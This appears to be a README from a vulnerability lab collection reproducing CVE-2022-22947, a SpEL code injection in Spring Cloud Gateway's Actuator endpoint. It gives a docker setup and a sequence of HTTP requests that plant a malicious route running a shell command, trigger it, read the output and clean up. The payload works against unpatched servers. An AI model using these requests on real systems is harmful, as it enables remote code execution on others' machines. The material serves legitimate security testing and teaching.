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+# Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Spring Cloud Gateway provides a library for building an API Gateway on top of Spring WebFlux.
+
+Applications using Spring Cloud Gateway in the version prior to 3.1.0 and 3.0.6, are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
+
+References:
+
+- <https://tanzu.vmware.com/security/cve-2022-22947>
+- <https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/>
+
+## Vulnerability Environment
+
+Execute the following command to start a server that uses Spring Cloud Gateway 3.1.0:
+
+```
+docker compose up -d
+```
+
+After server is started, browse the `http://your-ip:8080` to see an example page.
+
+## Vulnerability Reproduce
+
+Firstly, send the following request to add a router which contains an evil SpEL expression:
+
+```
+POST /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/json
+Content-Length: 329
+
+{
+  "id": "hacktest",
+  "filters": [{
+    "name": "AddResponseHeader",
+    "args": {
+      "name": "Result",
+      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
+    }
+  }],
+  "uri": "http://example.com"
+}
+```
+
+![](1.png)
+
+Secondly, refresh the gateway. The SpEL expression will be executed in this step:
+
+```
+POST /actuator/gateway/refresh HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+
+
+```
+
+![](2.png)
+
+Thirdly, send the following request to retrieve the result:
+
+```
+GET /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+
+
+```
+
+![](3.png)
+
+Afterward, send a DELETE request to remove our evil router:
+
+```
+DELETE /actuator/gateway/routes/hacktest HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+
+
+```
+
+![](4.png)
+
+Finally, refresh the gateway again:
+
+```
+POST /actuator/gateway/refresh HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 0
+
+
+```